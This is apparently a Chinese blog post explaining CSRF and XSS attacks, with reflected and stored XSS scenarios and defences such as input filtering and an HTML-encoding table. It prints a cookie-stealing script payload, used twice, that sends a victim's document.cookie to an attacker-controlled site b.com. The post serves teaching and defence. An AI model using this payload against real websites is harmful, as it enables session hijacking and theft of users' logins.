CSRF攻擊 & XSS攻擊

以前有幾篇文章寫了 SQL注入類問題:html

http://www.cnblogs.com/charlesblc/p/5987951.html (介紹)數據庫

http://www.cnblogs.com/charlesblc/p/5988919.html (PDO及防護)瀏覽器

以及安全

http://www.cnblogs.com/charlesblc/p/5989864.html(Java中的防護)服務器

 

今天收到一個安全工單,關於CSRF攻擊的,查資料看了一下。cookie

CSRF(Cross-site request forgery),中文名稱:跨站請求僞造,也被稱爲:one click attack/session riding,縮寫爲:CSRF/XSRF。session

參考了這篇文章: less

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.htmlxss

 

感受是利用用戶的原始cookie,去作一些事情。網站

 

另外,還提到了 XSS攻擊。

我以前這篇文章也寫了:

http://www.cnblogs.com/charlesblc/p/5990130.html

再參考下面這篇文章:

http://blog.csdn.net/ghsau/article/details/17027893

XSS攻擊分爲兩種,一種是DOM Based XSS漏洞,另外一種是Stored XSS漏洞。理論上,全部可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞,漏洞的危害取決於攻擊代碼的威力,攻擊代碼也不侷限於script。

DOM Based XSS

       DOM Based XSS是一種基於網頁DOM結構的攻擊,該攻擊特色是中招的人是少數人。

場景一

       當我登陸a.com後,我發現它的頁面某些內容是根據url中的一個叫content參數直接顯示的,猜想它測頁面處理多是這樣:

 <body>

       頁面內容:<%=request.getParameter("content")%>

 </body>

我知道了Tom也註冊了該網站,而且知道了他的郵箱(或者其它能接收信息的聯繫方式),我作一個超連接發給他,超連接地址爲:

http://www.a.com?content=<script>window.open(「www.b.com?param=」+document.cookie)</script>,

當Tom點擊這個連接的時候(假設他已經登陸a.com),瀏覽器就會直接打開b.com,而且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當個人網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登陸密碼,攻擊成功!

這個過程當中,受害者只有Tom本身。那當我在瀏覽器輸入a.com?content=<script>alert(「xss」)</script>,瀏覽器展現頁面內容的過程當中,就會執行個人腳本,頁面輸出xss字樣,這是攻擊了我本身,那我如何攻擊別人而且獲利呢?

Stored XSS

       Stored XSS是存儲式XSS漏洞,因爲其攻擊代碼已經存儲到服務器上或者數據庫中,因此受害者是不少人。

場景二

       a.com能夠發文章,我登陸後在a.com中發佈了一篇文章,文章中包含了惡意代碼,

<script>window.open(「www.b.com?param=」+document.cookie)</script>,

保存文章。這時Tom和Jack看到了我發佈的文章,當在查看個人文章時就都中招了,他們的cookie信息都發送到了個人服務器上,攻擊成功!

這個過程當中,受害者是多我的。Stored XSS漏洞危害性更大,危害面更廣。

 

XSS防護

       咱們是在一個矛盾的世界中,有矛就有盾。只要咱們的代碼中不存在漏洞,攻擊者就無從下手,咱們要作一個沒有縫的蛋。XSS防護有以下方式。

完善的過濾體系

       永遠不相信用戶的輸入。須要對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。

Html encode

       假如某些狀況下,咱們不能對用戶數據進行嚴格的過濾,那咱們也須要對標籤進行轉換。

less-than character (<)

&lt;

greater-than character (>)

&gt;

ampersand character (&)

&amp;

double-quote character (")

&quot;

space character( )

&nbsp;

Any ASCII code character whose code is greater-than or equal to 0x80

&#<number>, where <number> is the ASCII character value.

好比用戶輸入:<script>window.location.href=」http://www.baidu.com」;</script>,保存後最終存儲的會是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;

在展示時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。

 

(完)

相關文章
相關標籤/搜索